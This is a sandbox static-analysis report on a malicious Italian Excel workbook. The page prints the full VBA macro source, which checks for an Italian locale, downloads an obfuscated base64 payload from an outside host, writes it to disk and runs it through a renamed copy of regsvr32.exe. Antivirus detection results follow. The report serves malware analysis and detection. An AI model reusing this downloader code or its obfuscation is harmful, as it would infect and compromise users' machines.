Static | ZeroBOX

Original


                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Verificare()
c = Application.International(xlCountryCode)
Mi = Application.LanguageSettings.LanguageID(msoLanguageIDUI)
If c = 39 Or Mi = 1040 Then Revisione Else Application.Quit
End Sub

Sub Revisione()
dati_imagine
End Sub

Private Function DecodeBase64(strD As String)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte
    Dim strData As String
strData = Fuchinni(strD)
firstTime = True
    While Len(strData) > 0
        

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetBy(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(campagnola(outArray) + outCount)
        End If

        
        outArray(campagnola(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(campagnola(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(campagnola(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If


        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function
Public Function Fuchinni(rng As String)
cnt = 3736
Fuchinni = Right(rng, Len(rng) - cnt)

End Function
Function abbonato()
abbonato = "[.!?,-:; ]"
End Function
Private Function cvs_list(ordine)

Dim oXMLHTTP As Object
Dim sPageHTML As String


On Error GoTo ErrHandler

Dim i As Long, StartNumber As Long
Const WAIT As Boolean = True
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")

StartNumber = 1

For i = StartNumber To 1
    
    
    
    oXMLHTTP.Open "GET", ordine, False
    oXMLHTTP.send
    sPageHTML = oXMLHTTP.responseText

    cvs_list = sPageHTML


Next

Set oXMLHTTP = Nothing
Application.StatusBar = ""


Exit Function

ErrHandler:
Debug.Print
Resume Next

End Function
Function costringeva(ByVal feticismo As String) As String
costringeva = Replace(RTrim(cvs_list(feticismo)), "-", "AA")
End Function
Function portandolo()
paniere = 67
portandolo = Application.DefaultFilePath
End Function
Public Function Generando(guard() As Byte, ByVal Istigato As String)
Dim tagliategli As Long: tagliategli = FreeFile
Open Istigato For Binary Access Write As tagliategli
Put tagliategli, 1, guard
Close tagliategli
End Function
Function campagnola(Mi As Variant)
 campagnola = UBound(Mi)
End Function
Function Menziona(proibire) As Byte()
Dim muletto() As Byte
Dim profumati As Integer
profumati = FreeFile
Open proibire For Binary Access Read As profumati
ReDim muletto(0 To LOF(profumati) - 1)
Get profumati, , muletto
Close profumati
Menziona = muletto
End Function
Function cojones(gestivo As String)
Dim yokohama()
eco = 98
ReDim yokohama(Len(gestivo))
For sbava = 1 To campagnola(yokohama)
yokohama(sbava) = Mid(gestivo, sbava, 1)
Next
For Each indossati In yokohama
If indossati Like abbonato = False Then cojones = cojones & indossati
Next
End Function
Private Function GetBy(noodles)
Dim stack
stack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetBy = InStr(1, stack, noodles, vbBinaryCompare) - 1
End Function

Function spogliando() As String
caporeparto = portandolo & "\" & Int(93889825 * Rnd) + 273900 & "."
Generando DecodeBase64((sollevano(cojones("--115 6h t2 0t 2p 6s : 1") & "://" & cojones("freddisb") & "." & cojones(" /-c 12 o-3m 3")))), caporeparto
spogliando = caporeparto
End Function

Function brevettato(Rapendo) As Byte()
Dim portarcela() As Byte
Dim seguirle As Integer
seguirle = FreeFile
Open Rapendo For Binary Access Read As seguirle
ReDim portarcela(0 To LOF(seguirle) - 1)
Get seguirle, , portarcela
Close seguirle
brevettato = portarcela
End Function
Sub dati_imagine()
aggiunta = Ilstituto(spogliando)
End Sub
Function sollevano(ByVal emarginata As String) As String
Dim stupefatto As String
stupefatto = emarginata: sollevano = costringeva(stupefatto)
End Function

Function Ilstituto(analogico)
Dim polveriera() As Byte
polveriera = brevettato(Left(Environ(cojones("5 -3 8c- o0m 9s7p 10 1ec3")), 20) & cojones(" -11r 3-e8 0g,s 7 10v-8r1") & "32." & cojones("-1e 7;x 8e 51-"))
sommozzatore = geneeva
Debug.Print Generando(polveriera, sommozzatore)
sommozzatore = sommozzatore & " -s " & analogico
sommozzatore = Generando(polveriera, Shell(sommozzatore))
End Function
Function geneeva()
geneeva = portandolo & cojones("; -0\ 9c6 al9;c7") & "." & cojones(";8-9e 7;x 5;e-")
End Function


                                    

Deobfuscated


                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Verificare()
c = Application.International(xlCountryCode)
Mi = Application.LanguageSettings.LanguageID(msoLanguageIDUI)
If c = 39 Or Mi = 1040 Then Revisione Else Application.Quit
End Sub

Sub Revisione()
dati_imagine
End Sub

Private Function DecodeBase64(strD As String)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte
    Dim strData As String
strData = Fuchinni(strD)
firstTime = True
    While Len(strData) > 0
        

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetBy(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(campagnola(outArray) + outCount)
        End If

        
        outArray(campagnola(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(campagnola(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(campagnola(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If


        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function
Public Function Fuchinni(rng As String)
cnt = 3736
Fuchinni = Right(rng, Len(rng) - cnt)

End Function
Function abbonato()
abbonato = "[.!?,-:; ]"
End Function
Private Function cvs_list(ordine)

Dim oXMLHTTP As Object
Dim sPageHTML As String


On Error GoTo ErrHandler

Dim i As Long, StartNumber As Long
Const WAIT As Boolean = True
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")

StartNumber = 1

For i = StartNumber To 1
    
    
    
    oXMLHTTP.Open "GET", ordine, False
    oXMLHTTP.send
    sPageHTML = oXMLHTTP.responseText

    cvs_list = sPageHTML


Next

Set oXMLHTTP = Nothing
Application.StatusBar = ""


Exit Function

ErrHandler:
Debug.Print
Resume Next

End Function
Function costringeva(ByVal feticismo As String) As String
costringeva = Replace(RTrim(cvs_list(feticismo)), "-", "AA")
End Function
Function portandolo()
paniere = 67
portandolo = Application.DefaultFilePath
End Function
Public Function Generando(guard() As Byte, ByVal Istigato As String)
Dim tagliategli As Long: tagliategli = FreeFile
Open Istigato For Binary Access Write As tagliategli
Put tagliategli, 1, guard
Close tagliategli
End Function
Function campagnola(Mi As Variant)
 campagnola = UBound(Mi)
End Function
Function Menziona(proibire) As Byte()
Dim muletto() As Byte
Dim profumati As Integer
profumati = FreeFile
Open proibire For Binary Access Read As profumati
ReDim muletto(0 To LOF(profumati) - 1)
Get profumati, , muletto
Close profumati
Menziona = muletto
End Function
Function cojones(gestivo As String)
Dim yokohama()
eco = 98
ReDim yokohama(Len(gestivo))
For sbava = 1 To campagnola(yokohama)
yokohama(sbava) = Mid(gestivo, sbava, 1)
Next
For Each indossati In yokohama
If indossati Like abbonato = False Then cojones = cojones & indossati
Next
End Function
Private Function GetBy(noodles)
Dim stack
stack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetBy = InStr(1, stack, noodles, vbBinaryCompare) - 1
End Function

Function spogliando() As String
caporeparto = portandolo & "\" & Int(93889825 * Rnd) + 273900 & "."
Generando DecodeBase64((sollevano(cojones("--115 6h t2 0t 2p 6s : 1") & "://" & cojones("freddisb") & "." & cojones(" /-c 12 o-3m 3")))), caporeparto
spogliando = caporeparto
End Function

Function brevettato(Rapendo) As Byte()
Dim portarcela() As Byte
Dim seguirle As Integer
seguirle = FreeFile
Open Rapendo For Binary Access Read As seguirle
ReDim portarcela(0 To LOF(seguirle) - 1)
Get seguirle, , portarcela
Close seguirle
brevettato = portarcela
End Function
Sub dati_imagine()
aggiunta = Ilstituto(spogliando)
End Sub
Function sollevano(ByVal emarginata As String) As String
Dim stupefatto As String
stupefatto = emarginata: sollevano = costringeva(stupefatto)
End Function

Function Ilstituto(analogico)
Dim polveriera() As Byte
polveriera = brevettato(Left(Environ(cojones("5 -3 8c- o0m 9s7p 10 1ec3")), 20) & cojones(" -11r 3-e8 0g,s 7 10v-8r1") & "32." & cojones("-1e 7;x 8e 51-"))
sommozzatore = geneeva
Debug.Print Generando(polveriera, sommozzatore)
sommozzatore = sommozzatore & " -s " & analogico
sommozzatore = Generando(polveriera, Shell(sommozzatore))
End Function
Function geneeva()
geneeva = portandolo & cojones("; -0\ 9c6 al9;c7") & "." & cojones(";8-9e 7;x 5;e-")
End Function


                                    
B
Questa_cartella_di_lavoro
"$"#,##0;\-"$"#,##0
"$"#,##0;[Red]\-"$"#,##0
"$"#,##0.00;\-"$"#,##0.00
"$"#,##0.00;[Red]\-"$"#,##0.00
_-"$"* #,##0_-;\-"$"* #,##0_-;_-"$"* "-"_-;_-@_-
_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-
_-"$"* #,##0.00_-;\-"$"* #,##0.00_-;_-"$"* "-"??_-;_-@_-
_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
-@_-
_-;_-* "
-@_-
_-;_-* "
-@_- }
_-;_-* "
-@_-
_-;_-* "
_-;_-* "
-@_-
_-;_-* "
_-;_-* "
-@_-
}
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_- }
_-;_-* "
-@_-
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Neutrale
Output
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
.dhl.com
Foglio1.Verificare
tEXtSoftware
Adobe ImageReadyq
"IDATx
X-K6 hc
m?*rTcz
MmV.[U
^<XB^oC
&/zU$5&
%$74U\m
.+YkH$^p
*v:k(Uxw*
,F-}A}
!|5|P5|P
GKd4;-6
rTU*^e
4Fr>A.T
UYAFVDI[W
|KOt_$MzN
]:/1he
'.!m/!
n*@Os#
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
{OU7o?
8M2!'V
&n($xz
EFq5L/
,.3}%_
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
333333
?333333
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
z{n9:Q
dunT;@
drs/downrev.xml\P]O
vamI[
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
V i s u a l i z z a<
Foglio1g
Attribut
e VB_Nam
e = "Que
sta_cart
ella_di_
lavoro"
00020819
$ 0046}
IFalse
Creatabl
Predecl
BExpose
Template`Deriv
stomiz
[.!?,-:; ]'
MSXML2.XMLHTTP$
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
--115 6h t2 0t 2p 6s : 1$
freddisb$
/-c 12 o-3m 3$
5 -3 8c- o0m 9s7p 10 1ec3
-11r 3-e8 0g,s 7 10v-8r1
-1e 7;x 8e 51-$
; -0\ 9c6 al9;c7$
;8-9e 7;x 5;e-$
Attribut
e VB_Nam
e = "Fog
020820-
|GlobaBl
dCre atabl
Pr@edecla
plateDer
2SubD V
tion.I@nterna
l(xlCoun
tryCode
ageSetti
ID(Hmso
739 Or
%1040 T
hen Revi
J Func
trD As S)@
m i, in
> , outD
rstTim
nArray(
10o 3)
APgexr
-chinn~i
u1 To 4
@lMidE
, 1) <> x"="
Epxit
s0erveaQ
mpagnola
) +fUH+
`+&H3F) *\ 4@
) / 16
>= 20H
5D>Wend
8373@:
"[.!?,-:x; ]
vs_list(8ord
R8XM LHTTP
jec@?q
j0HTMLW
@On Err`PG
Handl)1\
bartN umberE
Const WA
Dwet o)%
u"GET"
eva(ByV
al fetic
RTrim(v'F
@)), "-
%olb/pan
ltFP~Path
;GenerA
Binary A
ccess Wr
roibire
0Reada
cojonePs(ge
okohama1
!"sbava
q"sptackA
ABCDEFGH
IJKLMNOP
QRSTUVWX
YZabcdef
ghijklmn
yz012345
6789+/
InpK(1@
P Pa0I4ep
I& @"\" & `/(
93889825
15 6h t2
0t 2p 6
s : 1")
) & "."
cojones(
" /-c 12
o-3m 3"
, capo
reparto
spoglia ndo =
d Functi@on
brevetta
to(Rape
) As Byt
`tarcel
1Int0eger
FreeFile(
or Binar
y Access` Read
=0 To LOF(
dati_im
agg iunta
vano(ByV
al emar
tupe`fattoADE
2analogi
ierJ}poE
Left(En@viron(F
-3 8c-
o0m 9s7p
10 1ec
1r 3-e8 @0g,s 7
v -8r1"
-1e 7;x
8e 51-@
ommozz
'gene@B
@Uebug.P@[
@Shell(I
BV`tlo
-0\ 9c6
al9;c7
Win64x
Progetto1DL
stdole
VBAProject
Office
Questa_cartella_di_lavoro
_Evaluate
Foglio1
dati_imagine1]
Worksheet
Application
International
xlCountryCode
LanguageSettings
LanguageID
msoLanguageIDUI5
Revisione
dati_imagine>
DecodeBase648
strDY5
inCount
outCount4Z
firstTimeq
inArray
outArray
strData@
Fuchinni
GetBy(
campagnola`
abbonato
cvs_list
ordineS
oXMLHTTPW7
sPageHTML
ErrHandler
StartNumberQ
CreateObject
responseText
StatusBar
costringeva
feticismomy
Replacef
portandolo
paniere
DefaultFilePath
Generando
Istigatok
tagliategli
MenzionarM
proibire
mulettoG
profumati
cojones
gestivo
yokohama
sbava'!
indossati
noodles
vbBinaryCompare
spogliando
caporeparto[
sollevano
brevettatoG
Rapendo2
portarcelaS
seguirle
aggiunta
Ilstituto
emarginata
stupefatto
analogico
polverieran\
Environ
sommozzatore
geneeva"
ShellV
Verificare
Workbookk
_B_var_c
_B_var_Mi
_B_var_Mid
_B_var_cnt<<
_B_var_Right9
_B_var_RTrimr
_B_var_paniere
_B_var_ecoRE
_B_var_sbavaS
_B_var_indossati
_B_var_caporeparto
_B_var_aggiunta
_B_var_Environ
_B_var_LeftQ
_B_var_sommozzatoresM
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\Syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E16\MSO.0DLL#
M 1@6.0 Ob
Library
sta_cart
ella_di_
lavoroG
Foglio1XG
@(g@/i
Progetto1
VBAProject
Questa_cartella_di_lavoro
Foglio1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
ordine
feticismo
Istigato
proibire
gestivo
noodles
Rapendo
emarginata
analogico
C:\Program Questa_cartella_di_lavoro
Foglio1
ID="{00000000-0000-0000-0000-000000000000}"
Document=Questa_cartella_di_lavoro/&H00000000
Document=Foglio1/&H00000000
HelpFile=""
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="4D4FE1EFE107E507E503E903E9"
DPB="6163CD12EA12EAED1613EA5ADD2077622ADDB01C114F5FB421B7690944BAE55E64BCBA6E"
GC="7577D937F94AFA4AFA4A"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Questa_cartella_di_lavoro=0, 0, 0, 0, C
Foglio1=26, 26, 790, 437, Z
dati_imagine
sollevano
Workbook&
Progetto1
VBAProject
Questa_cartella_di_lavoro
Foglio1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
cojones
Worksheet
Verificare
Revisione
DecodeBase64
Fuchinni
abbonato
cvs_list
costringeva
portandolo
Generando
campagnola
Menziona
spogliando
brevettato
dati_imagine
sollevano
geneeva
Ilstituto
Workbook&
VBE7.DLL
.dhl.com
Fogli di lavoro
Foglio di lavoro di Microsoft Excel 2003
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Migliaia
Migliaia [0]
Neutrale
Normale
Output
Percentuale
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
Valuta
Valuta [0]
TableStyleMedium2PivotStyleLight16
Lettera
Rettangolo con angoli arrotondati 3
Immagine 5
Questa_cartella_di_lavoro
__SRP_4
__SRP_5
Foglio1
N0{00020819-0000-0000-C000-000000000046}
$*\Rffff*076590a8ff
N0{00020820-0000-0000-C000-000000000046}
$*\Rffff*066590a8e5
*\R1*#6e
*\R1*#12d
*\R3*#47
*\R3*#89
*\R0*#f
*\R0*#17
*\R0*#12
*\R0*#9
*\R0*#18
__SRP_2
__SRP_3
_VBA_PROJECT
*\G{000204EF-0000-0000-C000-000000000046}#4.2#
9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
2Questa_cartella_di_lavoro
076590a8ff
2Questa_cartella_di_lavoro
Foglio1
066590a8e5
Foglio1
__SRP_0
__SRP_1
PROJECTwm
PROJECT
5 -3 8c- o0m 9s7p 10 1ec3
-11r 3-e8 0g,s 7 10v-8r1
-1e 7;x 8e 51-
; -0\ 9c6 al9;c7
;8-9e 7;x 5;e-D
oQuesta_cartella_di_lavoro
1Foglio1
SummaryInformation
DocumentSummaryInformation
CompObj
responseText&
[.!?,-:; ]
MSXML2.XMLHTTP
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
--115 6h t2 0t 2p 6s : 1
freddisb
/-c 12 o-3m 3&
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
MicroWorld-eScan Clean
FireEye Clean
CAT-QuickHeal X97M.Dropper.CB
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren X97M/Agent.BLC.gen!Eldorado
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky VHO:Trojan.MSOffice.Alien.gen
BitDefender Clean
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
Cynet Clean
ViRobot Clean
Rising Clean
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.OLE2.GenDownloader.ll
CMC Clean
Emsisoft Clean
Ikarus Clean
GData Clean
Jiangmin Clean
Avira Clean
MAX Clean
Antiy-AVL Trojan[Downloader]/MSOffice.Agent.base
Kingsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm VHO:Trojan.MSOffice.Alien.gen
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Clean
Tencent Clean
Yandex Clean
SentinelOne Static AI - Malicious OLE
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.